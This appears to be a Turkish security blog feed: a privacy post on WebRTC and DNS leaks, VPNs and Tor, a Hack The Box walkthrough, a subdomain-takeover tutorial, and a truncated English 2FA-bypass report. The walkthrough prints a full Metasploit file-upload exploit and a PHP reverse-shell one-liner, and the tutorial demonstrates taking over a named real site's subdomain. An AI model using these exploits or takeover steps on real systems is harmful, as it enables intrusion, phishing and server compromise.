Son zamanlarda kulağımıza çok gelir oldu bu kelime “gizlilik”. Facebook’un Cambridge Analytica vakası, Twitter’ın iç ağdaki log sistemindenden kaynaklanan bir açıklıktan dolayı kullanıcı parolalarının açık şekilde iletildiğini duyurması, seçmen bilgilerinin yayılması, sürecini yakınen takip ettiğimiz, gizliliğimizi ve özgürlüğümüzü kısıtlayan VPN, site engellemeleri ve daha nicesi. Tüm bu olaylara bakıldığında gizliliğin hayatımızda ne noktada olduğunu daha […]
]]>Son zamanlarda kulağımıza çok gelir oldu bu kelime “gizlilik”. Facebook’un Cambridge Analytica vakası, Twitter’ın iç ağdaki log sistemindenden kaynaklanan bir açıklıktan dolayı kullanıcı parolalarının açık şekilde iletildiğini duyurması, seçmen bilgilerinin yayılması, sürecini yakınen takip ettiğimiz, gizliliğimizi ve özgürlüğümüzü kısıtlayan VPN, site engellemeleri ve daha nicesi. Tüm bu olaylara bakıldığında gizliliğin hayatımızda ne noktada olduğunu daha net görebiliyoruz. Bu yazımızda internette nasıl anonimlik sağlayacağınızdan bahsederken örnek olaylarla da istihbarat servislerinin ve 0-day araştırmacılarının nasıl bu gizliliği hiçe saydıklarını göreceğiz. Her şey kamerayı kapatmaktan ibaret değil…
WebRTC (Web Real-Time Communication), adından da anlaşılabileceği üzere eş zamanlı dosya aktarımı, konferans, canlı akış ve web uygulamaları için tarayıcıların doğrudan birbiri ile haberleşebilmesini adına geliştirilmiş bir teknolojidir. Günümüz tarayıcılarında gömülü olarak gelmektedir ve direkt olarak çalıştırılabilmektedir. Her tarayıcıda gömülü gelen ve tetiklenmesi için herhangi ek bir aktiviteye gerek duymayan bir teknoloji için zafiyet de kaçınılmazdır. Peki nedir gizliliğimizi tehlikeye atan?
WebRTC, IP tanımlamasında standarttan farklı teknikler kullanır. Bu teknik Interactive Connectivity Establishment (ICE)’dir. ICE IP adresi tespitinde STUN/TURN sunucularını kullanılır. WebRTC açısından bakıldığında bu sunucular “IP adresim nedir?” sorusuna yanıt verir. Zafiyeti detaylı anlamak için bu kavramları da incelemek gerek.
WebRTC eşler aracılığıyla data alışverişi yaptığı için bu alışverin sağlanmasında STUN sunucuları kullanılır. Bağlantı sağlarken gönderilen bilgiler arasında LAN ve WAN bilgilerimiz de mevcut. Protokolün işleyişindeki mantıkda zafiyet ortataya çıkıyor. Buradaki IP bilgilerimiz gizlenmediği yani sunucu ve eş arasında düz metin halinde veri akışı sağlandığı için bilgilerimiz sızıyor.
STUN protokolünden farkı eşler arasındaki veri akışında köprü görevi görmesidir. Diğer eşe bilgi giderken TURN sunucularından çıkış yapıldığı için kendi WAN ve LAN IP bilgilerimiz iletilmiş olur. Aşağıdaki şemada çalışma mantığı görülmektedir.
Zafiyetimiz WEB sitelerinin STUN sunucularına yapılan istekteki IP bilgilerinin kaydedilmesinden ibaret. VPN kullansanız dahi VPN protokolleri STUN sunucularına giden bilgilerin kontrolünü yapmadığı için VPN sunucularının atadığı IP gözükmeyecektir. Bu durumda triple VPN, proxy ya da diğer yöntemleri kullansanız dahi iç ağ IP adresiniz sızmış olacaktır. Zafiyet sırasında gerçekleşen isteğin kod bloğundan bir kesit;
function findIP(onNewIP) { var myPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; var pc = new myPeerConnection({iceServers: [{urls: "stun:stun.l.google.com:19302"}]}), noop = function() {}, localIPs = {}, ipRegex = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/g, key;
https://berkimran.com.tr/ipleak/ipleak.html adresinden kendi tarayıcınızda testi gerçekleştirebilirsiniz.
Zafiyetli bir tarayıcıda iç ağ IP adresi resimdeki gibi ifşa olacaktır. Belirtmekte fayda var bu testi yaparken VPN kullandım. Testi yaptınız ve iç ağ IP adresiniz ifşa oldu, bu durumda tarayıcınıza bağlı olarak çeşitli korunma yöntemleri bulunmakta.
Firefox
Chrome
Günümüz itibarıyla sadece eklentiler ile engellemek mümkün. Bunun için WebRTC Network Limiter eklentisini kullanabilirsiniz.
Safari
Herhangi bir ayar yapmanıza gerek kalmadan Safari zafiyeti önlemektedir.
Anonim olmak için mümkün olduğunca verilerinizi paylaşmamanız gerek. Dolayısıyla tüm trafiğinizin anonim şekilde sağlanması çok önemli. Güvenli iletişiminize birisizi sızarsa tüm bilgileriniz tehlikededir demektir. Söz konusu DNS olunca da bir zayıflık söz konusu oluyor tabii ki. İşletim sisteminiz ya da modeminizden dolayı size atanan bir DNS sunucundan dolayı tüm trafiğiniz ifşa olabilir. Bir anonim ağda bulunsanız dahi çeşitli durumlarda varsayılan DNS sunucusu ile bağlantı kurabilirsiniz. Bunu dnsleaktest.com sitesinde çok güzel açıklamışlar.
Görüldüğü üzere direk ISP servisinin DNS sunucu ile haberleşildiğinde zafiyet ortaya çıkabilmektedir. Günümüz servis sağlayıcılarının ve onun atadığı DNS sunucularının bizi izlediğini varsayarsak bir anonim bağlantının ne kadar güvenli olduğunu daha iyi kavrayabiliriz. Örnek bir test ve zayıflığın kanıtı;
Çözüm çok basit. VPN servisi ile anonim bir ağ kullanmak ve VPN servisinin DNS sunucularını kullanmak. Ayrıca bkz. Dnscrypt
Yasaklamalardan ve sansürlerden dolayı Türkiye’nin teknoloji gündemini oldukça meşgul eden bir konu. Konu ile alakalı çok güzel yazılar yazıldı, teknik olarak açıklandı. Ancak ben farklı bir soruya cevap bulmak istiyorum “peki hangi VPN?”. Açıkcası 2012’den bu yana bir fiil her türlü VPN firmasını test ettim, kullandım. 6 yılda neredeyse her firmanın gizlilik politikasını, double & triple VPN mantığını ve işin detaylarına hakim oldum. Şöyle tecrübeleri aktarmak isterim;
Türkiye’nin de yakından bildiği bir VPN firması, politikasında kendinden kayıt(log) tutmuyoruz diye bahsettiği halde bir hacklenme vakası ile sarsıldı. Zamanının 1day exploit kiti ile VPN firmasının sunucularına girmeyi başaran hacker, tutulan tüm logları tek tek gözler önüne serdi. Bundan dolayı da insanlarda “log tutmadıklarını nereden bilebiliriz” şeklinde sorular oluştu. Cevabı aslında hepimiz biliyoruz.
Uzun uzun yazıp açıklamak istemiyorum. Sadece şunu düşünmeniz yeterli. Ortalama aylık 100 dolar verdiğiniz bir firma sizi tüm istihbarat servislerine karşı koruyor
Peki hangi VPN firması seçilmeli?
Tecrübelerime dayanarak aşağıdaki maddelere dikkat çekmek isterim;
Özetle bir VPN firmasının gizlilik politikasında belirttiği yazıdan bir kesit;
…kullanıcılarımızla ilgili bilgileri ifşa etmemiz istendiğinde, elimizde verebileceğimiz hiçbir bilginin bulunmadığı anlamına geliyor. Ancak, kredi kartı ödemeleri ve banka havaleleri kayıt altına alınmaktadır. Bu kayıtlar, bankalar veya kart firmaları tarafından tutulmakta ve tarafımızca silinmesi imkanı bulunmamaktadır. Anonim olarak işlem yapabilmek için nakit veya kripto para birimi ile ödeme yapma seçeneklerini kullanın.
kıyaslama için https://thatoneprivacysite.net/ adresini kullanabilirsiniz. Ek olarak;
https://torrentfreak.com/vpn-services-keep-anonymous-2018/
https://medium.com/@blackVPN/no-logs-6d65d95a3016
https://spideroak.com/articles/guest-post-can-you-trust-a-vpn-to-protect-your-privacy/
Şimdi tüm söylediklerimi unutun. Yukarıdaki en güvenli dediğimiz VPN firmaları bile neden güvensiz inceleyelim.
Ülkeler arasında istihbarat toplamak amaçlı bir ittifak vardır. Ülkelerin topluca vatandaşlarını izleme ve gözetlemesi üzerine kuruludur. Sızan verilerde Türkiye’nin de bunun için “milyon” dolar civarında bir yazılıma ödeme yaptığı görülmektedir. Detayını bilemediğimiz gibi kesinliği hakkında da bilgi sahibi değiliz. Gelelim göz(etleme)lere.
5 Göz;
bkz. https://en.wikipedia.org/wiki/UKUSA_Agreement
Dokuz Göz(öncekileri de içerir);
Ondört Göz(öncekileri de içerir);
Şimdi sizden ricam o çok övdüğünüz VPN firmalarının hangi lokasyonda olduğuna bakmanız
Ekşi Sözlük’te ssg gayet net açıklamış şu şekilde alıntılayalım.
ing. mahkeme emri kanaryası. “kanarya” tabiri madenlerde gaz kaçağını tespit etmek için kanaryaların kullanımından geliyor. kanarya bıcır bıcır öttüğü sürece sürece gaz kaçağı olmadığını anlıyorsun. ne zaman kanarya susarsa gaz kaçağı olduğunu anlıyorsun. bu taktik, yani gaz kaçağı olduğunu değil ama olmadığını anlamak, amerikan şirketleri tarafından beyan etmenin suç olduğu hukuksal gizlilik durumlarını aşmak için kullanılıyor.
bir firmanın amerikan mahkemesi tarafından gizli emir almasını beyan etmesi hukuken yasak, ama almadığını beyan etmesi değil. dolayısıyla firma ta ki alana kadar:“bugüne kadar mahkemeden gizli bir emir almadık”
beyanı yazıyor. ne zaman o yazı kaybolursa anlıyorsun ki gizli emir almışlar. bildiğim kadarıyla bu tekniğin gerçekten mahkemede uygulayanı akladığı test edilmedi ama büyük mecra ve servis sağlayıcılar tarafından yaygın olarak kullanılıyor.
VPN kullanmak sizi tamamen anonim yapmaz. Ancak eskisine göre daha iyi bir çözüm sunar.
Üzerine onlarca yazı yazıldı, onlarca eğitim videosu çekildi. O yüzden yine bilinen kısımdan ziyade biraz yorumsal kısmına değinmek istiyorum. TOR projesi gizlilik için en büyük çalışmalardan birisi. Günümüzde hakkında onlarca fikir var. Çoğunluk projenin istihbarat servisleri tarafından fonlandığını ve suçluları bulmak için ellerinde 0day exploitler bulundurduğunu düşünmekte. Bug bounty kapsamında gönderilen örnek bir raporu incelemekte fayda var “https://hackerone.com/reports/253429“. Çoğu kişinin bundan daha kritik zafiyetleri bulduğuna eminiz. Aşağıdaki haberleri okuyalım.
https://thehackernews.com/2017/11/tor-browser-real-ip.html
https://thehackernews.com/2017/09/tor-zero-day-exploits.html
Özetle çok büyük bir illegal aktivite için değilseniz, sadece gizliliğini düşünüyorsanız gayet yerinde bir tercih. Ancak %100 gizlilik sağlamadığını da umarım anlatabilmişimdir. Özellikle VPN ve TOR bağlantısı yapsanız bile hatta VPN > VPN > VPN > TOR > Web Proxy şeklinde bir şema izleseniz dahi bahsettiğimiz gibi WebRTC ile IP adresiniz ifşa olabilir.
Siteleri görüntülemek için her istek yaptığımızda bir HTTP trafiği de oluşturmuş oluruz. Bu trafiğin içinde bilgilerimiz de gitmekte. Dolayısıyla bu trafikte giden bilgilerimizi mümkün olduğunca değiştirmeli ya da korumalıyız.
Beni izleme özelliği tarayıcılarımızda yıllardır mevcut. Siteye yaptığınız her isteğe “DNT: 1” değerini işler. Dolayısıyla siteye “beni izleme” mesajı vermiş oluruz. Ancak, bu sitenin %100 sizi izlemeyeceğine işaret değildir. Verilerinizin izlenip izlenmeyeceğini bu hususta yine site belirleyecektir. Aşağıda örnek bir istek gösterilmiştir.
User-Agent bilgisinde hangi tarayıcıyı kullandığımız hangi işletim sistemine sahip olduğumuz gibi bilgiler gitmektedir. Dolayısıyla gerçekten farklı olarak bu bilgileri değiştirmemiz gizlilik açısından bir artı olacaktır. Reklam içeren link kısaltma sitelerine girdiğinizde genellikle işletim sisteminize göre zararlı yazılım gösterirler. GNU/Linux kullanan bir kullanıcı Windows işletim sistemine ait bir user-agent bilgisi kullanıyorsa karşısına Windows için üretilmiş bir zararlı yazılım çıkacaktır. Bundan dolayı hem gizliliğini sağlamış hem de güvenli kalmış olacaktır.
Resimde de görüldüğü gibi user-agent başlığından Mac bilgisini alan site ona göre zararlı göstermiş oldu. Bundan dolayıdır ki user-agent bilgimizi olduğundan farklı göstermek gerekli.
Cookie
Web sunucusu gelen kullanıcıları ayırt etmek için her kullanıcıya bir session tanımlar. Sunucunun tuttuğu Session id’yi şifreliyerek (değişiklik gösterebilir) Cookie bölümüne ekler. Özetle cookie sizin web sitesindeki parmak izinizdir. XSS zafiyeti ile kendisini yakından tanımaktayız. Oturum bilgilerinizin XSS ya da diğer zafiyetlerle elde edilmesi hem gizliliğiniz hem de güvenliğiniz açısından son derece kritiktir. Bu yazımızda çerezlerin güvenliği ve gizliliği hakkında iki hususta durmak istiyorum. Bunlardan ilki tarayıcıda saklanan cookie güvenliği diğeri ise web zafiyetleri ile alakalı.
2011’den bu yana (tabii ki öncesinde de dahil olmak üzere) popülerleşmiş yerini fidye yazılımlarına bırakan bir backdoor türüdür. Stealer’ın amacı tarayıcıdaki çerezlerinizi alıp mail adresine, FTP adresine ya da sizin belirleyeceğiniz bir yöntemle size iletmektir. Başlangıca yerleşmez, kendini kopyalamaz, sadece tarayıcılardaki çerezleri okur ve ilgili adreslere iletir. Dolayısıyla diske erişim izni isteyecek ve dışarıya bağlantı oluşturacaktır. Diğer zararlı yazılımlara istinaden daha az izin istemektedir. Dolayısıyla korunmak adına diskte(tarayıcıda) çerez tutulmamalıdır. Bunun için tarayıcılarda seçenek bulunmakta, eklentilerle de bu olay güçlendirilmektedir. Daha öncesinden kalan çerezleriniz varsa Gutmann metoduyla silmeniz gerekmektedir.
Web zafiyetleri ve cookie dendiği zaman akla gelen ilk zafiyet XSS’dir şüphesiz. XSS zafiyetinin işlevselliğine ve türevine bağlı olarak çerez bilginiz elde edilebilir. Buna önlem olarak çoğu tarayıcı özellikle Reflected(yansıtılan) XSS için iyileştirmeler yapmıştır. Ancak günümüzde bunlar hala yeterli değildir ve kolay atlatılabilmektedir. Bu durumda kullanıcılara ve geliştiricilere düşen sorumluluklar var. Geliştiriciler açısından bakıldığında, çerezlerin HttpOnly olarak işaretlenmesi ve SecureFlag kullanılması gereklidir. Bu şekilde örnek bir JavaScript XSS payload’ı ile tarayıcıdaki çereze erişilemeyecektir. Kullanıcı tarafından bakıldığında NoScript tarzı eklentiler ile her JavaScript dosyasının çalıştırılması engellenmelidir. Böylelikle Coinhive tarzı zararlı kod blokları ile siz video izlerken, sizin işlemciniz kullanılarak yapılan madenciliği engellemiş de olmaktasınız.
Referanslar:
https://en.wikipedia.org/wiki/Interactive_Connectivity_Establishment https://tools.ietf.org/html/rfc5766 https://github.com/VoidSec/WebRTC-Leak https://www.privacytools.io/ https://dnsleaktest.com
]]>
Merhabalar, Hackthebox serimize Nibbles makinası ile başlıyoruz. Makinanın seviyesine ben de “Easy” diyorum. Gelelim çözüme… Makinamızda 80 ve 22 portları açık. 80 portundan erişim sağladığımızda açıklama satırında /nibbleblog adresini görüyoruz. root@kali:~# curl 10.10.10.75 <b>Hello world!</b> <!-- /nibbleblog/ directory. Nothing interesting here! --> /nibbleblog adresinden erişim sağladığımızda “Powered by Nibbleblog” footer’ından hazır bir blog script’i olduğunu […]
]]>Merhabalar,
Hackthebox serimize Nibbles makinası ile başlıyoruz. Makinanın seviyesine ben de “Easy” diyorum. Gelelim çözüme…
Makinamızda 80 ve 22 portları açık. 80 portundan erişim sağladığımızda açıklama satırında /nibbleblog adresini görüyoruz.
root@kali:~# curl 10.10.10.75 <b>Hello world!</b> <!-- /nibbleblog/ directory. Nothing interesting here! -->
/nibbleblog adresinden erişim sağladığımızda “Powered by Nibbleblog” footer’ından hazır bir blog script’i olduğunu anlıyoruz. Dolayısıyla öncelikli olarak zafiyet bulunmuş mu bakalım…
4.0.3 versiyonu için Metasploit modülü yazılmış. Bu modül ile de php dosyası yüklemenize dolayısıyla kod çalıştırmanıza olanak sağlayan bir exploit var.
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info( info, 'Name' => 'Nibbleblog File Upload Vulnerability', 'Description' => %q{ Nibbleblog contains a flaw that allows an authenticated remote attacker to execute arbitrary PHP code. This module was tested on version 4.0.3. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Vulnerability Disclosure - Curesec Research Team. Author's name? 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module ], 'References' => [ ['URL', 'http://blog.curesec.com/article/blog/NibbleBlog-403-Code-Execution-47.html'] ], 'DisclosureDate' => 'Sep 01 2015', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Nibbleblog 4.0.3', {}]], 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [true, 'The base path to the web application', '/']), OptString.new('USERNAME', [true, 'The username to authenticate with']), OptString.new('PASSWORD', [true, 'The password to authenticate with']) ]) end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def check cookie = do_login(username, password) return Exploit::CheckCode::Detected unless cookie res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin.php'), 'cookie' => cookie, 'vars_get' => { 'controller' => 'settings', 'action' => 'general' } ) if res && res.code == 200 && res.body.include?('Nibbleblog 4.0.3 "Coffee"') return Exploit::CheckCode::Appears end Exploit::CheckCode::Safe end def do_login(user, pass) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin.php') ) fail_with(Failure::Unreachable, 'No response received from the target.') unless res session_cookie = res.get_cookies vprint_status("Logging in...") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin.php'), 'cookie' => session_cookie, 'vars_post' => { 'username' => user, 'password' => pass } ) return session_cookie if res && res.code == 302 && res.headers['Location'] nil end def exploit unless [ Exploit::CheckCode::Detected, Exploit::CheckCode::Appears ].include?(check) print_error("Target does not appear to be vulnerable.") return end vprint_status("Authenticating using #{username}:#{password}") cookie = do_login(username, password) fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil? vprint_good("Authenticated with Nibbleblog.") vprint_status("Preparing payload...") payload_name = "#{Rex::Text.rand_text_alpha_lower(10)}.php" data = Rex::MIME::Message.new data.add_part('my_image', nil, nil, 'form-data; name="plugin"') data.add_part('My image', nil, nil, 'form-data; name="title"') data.add_part('4', nil, nil, 'form-data; name="position"') data.add_part('', nil, nil, 'form-data; name="caption"') data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"image\"; filename=\"#{payload_name}\"") data.add_part('1', nil, nil, 'form-data; name="image_resize"') data.add_part('230', nil, nil, 'form-data; name="image_width"') data.add_part('200', nil, nil, 'form-data; name="image_height"') data.add_part('auto', nil, nil, 'form-data; name="image_option"') post_data = data.to_s vprint_status("Uploading payload...") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri, 'admin.php'), 'vars_get' => { 'controller' => 'plugins', 'action' => 'config', 'plugin' => 'my_image' }, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data, 'cookie' => cookie ) if res && /Call to a member function getChild\(\) on a non\-object/ === res.body fail_with(Failure::Unknown, 'Unable to upload payload. Does the server have the My Image plugin installed?') elsif res && !( res.body.include?('<b>Warning</b>') || res.body.include?('warn') ) fail_with(Failure::Unknown, 'Unable to upload payload.') end vprint_good("Uploaded the payload.") php_fname = 'image.php' payload_url = normalize_uri(target_uri.path, 'content', 'private', 'plugins', 'my_image', php_fname) vprint_status("Parsed response.") register_files_for_cleanup(php_fname) vprint_status("Executing the payload at #{payload_url}.") send_request_cgi( 'uri' => payload_url, 'method' => 'GET' ) end end
Kodu incelediğimizde admin parolası ile giriş yapıp eklentideki file upload zafiyetinden faydalanarak image.php adında bir PHP dosyası göndererek kod çalıştırmakta. Tabii bunu yaparken parolayı bilmek gerek. Dolayısıyla script yazmaya dahi gerek kalmadan “admin:admin,admin:root,admin:nibbler,admin:nibbles” denemeleri sonucunda parolayı buluyorum.Exploit ettikten sonra yetkimizi alıyoruz.
LinEnum script’i ile zayıflıkları ararken, /home/nibbler/personal/stuff/monitor.sh dosyasından parolasız root haklarında komut çalıştırabileceğimi farkediyorum.
İlgili bash script’i inceleyelim.
#################################################################################################### # Tecmint_monitor.sh # # Written for Tecmint.com for the post www.tecmint.com/linux-server-health-monitoring-script/ # # If any bug, report us in the link below # # Free to use/edit/distribute the code below by # # giving proper credit to Tecmint.com and Author # # # #################################################################################################### #! /bin/bash # unset any variable which system may be using # clear the screen clear unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage while getopts iv name do case $name in i)iopt=1;; v)vopt=1;; *)echo "Invalid arg";; esac done if [[ ! -z $iopt ]] then { wd=$(pwd) basename "$(test -L "$0" && readlink "$0" || echo "$0")" > /tmp/scriptname scriptname=$(echo -e -n $wd/ && cat /tmp/scriptname) su -c ssh nibbler@localhost -i /home/nibbler/.ssh/test root && "cp $scriptname /usr/bin/monitor" } fi if [[ ! -z $vopt ]] then { echo -e "tecmint_monitor version 0.1\nDesigned by Tecmint.com\nReleased Under Apache 2.0 License" } fi if [[ $# -eq 0 ]] then { # Define Variable tecreset tecreset=$(tput sgr0) # Check if connected to Internet or not ping -c 1 google.com &> /dev/null && echo -e '\E[32m'"Internet: $tecreset Connected" || echo -e '\E[32m'"Internet: $tecreset Disconnected" # Check OS Type os=$(uname -o) echo -e '\E[32m'"Operating System Type :" $tecreset $os # Check OS Release Version and Name cat /etc/os-release | grep 'NAME\|VERSION' | grep -v 'VERSION_ID' | grep -v 'PRETTY_NAME' > /tmp/osrelease echo -n -e '\E[32m'"OS Name :" $tecreset && cat /tmp/osrelease | grep -v "VERSION" | cut -f2 -d\" echo -n -e '\E[32m'"OS Version :" $tecreset && cat /tmp/osrelease | grep -v "NAME" | cut -f2 -d\" # Check Architecture architecture=$(uname -m) echo -e '\E[32m'"Architecture :" $tecreset $architecture # Check Kernel Release kernelrelease=$(uname -r) echo -e '\E[32m'"Kernel Release :" $tecreset $kernelrelease # Check hostname echo -e '\E[32m'"Hostname :" $tecreset $HOSTNAME # Check Internal IP internalip=$(hostname -I) echo -e '\E[32m'"Internal IP :" $tecreset $internalip # Check External IP externalip=$(curl -s ipecho.net/plain;echo) echo -e '\E[32m'"External IP : $tecreset "$externalip # Check DNS nameservers=$(cat /etc/resolv.conf | sed '1 d' | awk '{print $2}') echo -e '\E[32m'"Name Servers :" $tecreset $nameservers # Check Logged In Users who>/tmp/who echo -e '\E[32m'"Logged In users :" $tecreset && cat /tmp/who # Check RAM and SWAP Usages free -h | grep -v + > /tmp/ramcache echo -e '\E[32m'"Ram Usages :" $tecreset cat /tmp/ramcache | grep -v "Swap" echo -e '\E[32m'"Swap Usages :" $tecreset cat /tmp/ramcache | grep -v "Mem" # Check Disk Usages df -h| grep 'Filesystem\|/dev/sda*' > /tmp/diskusage echo -e '\E[32m'"Disk Usages :" $tecreset cat /tmp/diskusage # Check Load Average loadaverage=$(top -n 1 -b | grep "load average:" | awk '{print $10 $11 $12}') echo -e '\E[32m'"Load Average :" $tecreset $loadaverage # Check System Uptime tecuptime=$(uptime | awk '{print $3,$4}' | cut -f1 -d,) echo -e '\E[32m'"System Uptime Days/(HH:MM) :" $tecreset $tecuptime # Unset Variables unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage # Remove Temporary Files rm /tmp/osrelease /tmp/who /tmp/ramcache /tmp/diskusage } fi shift $(($OPTIND -1))
Öncelikle script’e yazma izni verdikten sonra ./monitor.sh ile başlatamadım(bash hariç). Dolayısıyla shell değiştirmek daha mantıklıydı. Dolasıyla php -r ‘$sock=fsockopen(“10.0.0.1”,1234);exec(“/bin/bash -i <&3 >&3 2>&3”);’
kodu ile /bin/bash reverse shell aldım. Script normal çalışmakta ama sudo ve su komutlarını çalıştıramamaktaydım.
Makinada Python yoktu, SSH Key ile terminal alamadım. İnteraktif shell’e geçemememden dolayı geri dönerek monitor dosyasını editleyip sudo yetkisi ile çalıştırmayı denedim.
echo “cat /root/root.txt” >> monitor.sh komutu ile dosyama root kullanıcısının dizinindeki flag’i okutmayı denedim. Sudo ./monitor.sh ile çalıştırdığımda flag değeri geldi.
Pwned #1
]]>Herkese merhaba, Daha önce yazdığım subdomain takeover konusu gerek İngilizce gerekse karmaşık olmasından dolayı çok anlaşılamamıştı. Bugün Türkçe ve detaylı olarak anlatmaya çalışacağım. Subdomain Takeover Genellikle çok fazla subdomainin olduğu büyük sitelerde denk geldiğim subdomain takeover, Amazon S3, Github, Google gibi firmalardan servis alındığında, yapılandırma hatalarının yapıldığı dolayısıyla subdomaini ele geçirmenize olanak sağlayan bir zafiyettir. […]
]]>Herkese merhaba,
Daha önce yazdığım subdomain takeover konusu gerek İngilizce gerekse karmaşık olmasından dolayı çok anlaşılamamıştı. Bugün Türkçe ve detaylı olarak anlatmaya çalışacağım.
Genellikle çok fazla subdomainin olduğu büyük sitelerde denk geldiğim subdomain takeover, Amazon S3, Github, Google gibi firmalardan servis alındığında, yapılandırma hatalarının yapıldığı dolayısıyla subdomaini ele geçirmenize olanak sağlayan bir zafiyettir. Amazon s3 sunucularında bucket oluşturmamanız ya da Google’da Gsuite kaydı yapmamanız bunlara örnektir.
Öncelikle hedef sitemizin subdomain listesini çıkarmamız gerek. Bunun için çok fazla yöntem var. Ben Shodan, Virustotal gibi özel(ücretli ve private) api’leri kullandığım için Aquatone aracına entegre etmesi kolay olduğundan bu aracı kullanıyorum. Subdomain tespitimizi aquatone-discover –domain edim.co komutu ile yapalım. Json ve txt olarak iki çıktı vermesi çeşitli işlemlerde işimizi oldukça kolaylaştıran etkenlerden. Bulduğumuz subdomainler;
1.edim.co,52.222.171.230 a.edim.co,52.222.171.17 apps.edim.co,52.222.171.253 badge.edim.co,52.222.171.237 badges.edim.co,52.222.171.191 box.edim.co,52.222.171.100 box.u.ph.edim.co,52.222.171.85 com.ph.edim.co,52.222.171.182 croc.edim.co,52.222.171.198 e.edim.co,52.222.171.141 ed.edim.co,52.222.171.128 embed.edim.co,52.35.188.254 g.edim.co,52.222.171.152 math.edim.co,52.222.171.44 pic.edim.co,52.85.219.213 production.edim.co,34.210.242.50 s3.edim.co,52.216.16.115 t.edim.co,52.85.219.112 thumbs.edim.co,52.85.219.45 u.ph.edim.co,52.85.219.223
İsterseniz Cut -d “,” -f1 komutu ile sadece subdomainleri alabilirsiniz. Takeover tespitimizi aquatone-takeover –domain edim.co komutu ile gerçekleştirelim.
Çıktımızda potansiyel birer subdomain takeover tespit etti. Aracın eksik yönü bunu sadece Cname kaydına bakarak yapması. Aynı zamanda sitedeki dönen cevaba da bakarsa çok daha profesyonel sonuçlar elde edilebilir. İlgili adresimizin cname kaydını inceleyelim.
dig cname s3.edim.co ; <<>> DiG 9.9.7-P3 <<>> cname s3.edim.co ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8322 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 512 ;; QUESTION SECTION: ;s3.edim.co. IN CNAME ;; ANSWER SECTION: s3.edim.co. 299 IN CNAME s3.amazonaws.com. ;; Query time: 78 msec ;; SERVER: 8.8.8.8#53(8.8.8.8) ;; WHEN: Thu Jan 25 21:55:07 +03 2018 ;; MSG SIZE rcvd: 69
Gördüğünüz gibi “s3.amazonaws.com” olarak yanıt döndü. Şimdi sitemize bakalım.
Bize “NoSuchBucket” hatası döndü. Yani bucket oluşturulmamış. Bu durumda S3 ayar panelinden ayarlarımızı yapalım.
Ayarlarımızı yaptıktan sonra erişime açık yapmadığım için AccessDenied hatası aldım. Bir index.html dosyası yükleyelim ve yayına açalım.
Domaini ele geçirdik.
Shodan ile isp:amazon taraması yaptığımda yaklaşık 1 milyon index almış ip tespit ettim. Aramamı isp:amazon “no such bucket” şeklinde zafiyet tabanlı yaptığımda ise 272 site ile karşılaştım. Bing ile ip:x şeklinde arama yapıldığında bu siteler ele geçirilebilir. Hatta makinada root haklarında işlemler yapılabilir.
Hatalı yapılandırma nedeniyle subdomaini ele geçirmemiz mümkün oldu. Bu durumda siteye sahte bir arayüz yaparak kullanıcı bilgilerini toplanabilir, mining sitelerinin zararlı kodları ile zombi makinalar oluşturulabilir, bilgisayarınıza zararlı yazılımlar yükletilebilir. Www-data hakları elde edilmiş bir makinada root yetkisine erişilebilir dolayısıyla tüm sunucu istismar edilmiş olabilir.
]]>Greetings, Summary Vulnerability allows you to confirm a phone number or mail that you own or not. So you have bypassed the two factor authentication verification. Two-step verification must be active so leak can ocur. At the same time, the 2fa verification must be mandatory by the administrator. You can add the phone number or […]
EN | Microsoft Authentication Bypass Vulnerability Berk İMRAN
]]>Greetings,
Vulnerability allows you to confirm a phone number or mail that you own or not. So you have bypassed the two factor authentication verification. Two-step verification must be active so leak can ocur. At the same time, the 2fa verification must be mandatory by the administrator. You can add the phone number or e-mail address to the corporate e-mail address without knowing it. This is very big in terms of computer forensic. A criminal offense may appear attached to your email address as confirmed by your phone. So you can be in a criminal position. Think that your phone number has been approved at wannacry’s email address, Hello FBI it’s not me, it’s 0day
Step1:
The administrator must approve a two factor authentication and request you to add the phone number from your account when logging in.
Step2:
I tried atony first through phone number. When I realized that I went on from the mail address.
Step 3:
Let us examine the outgoing request when we press the verification buton;
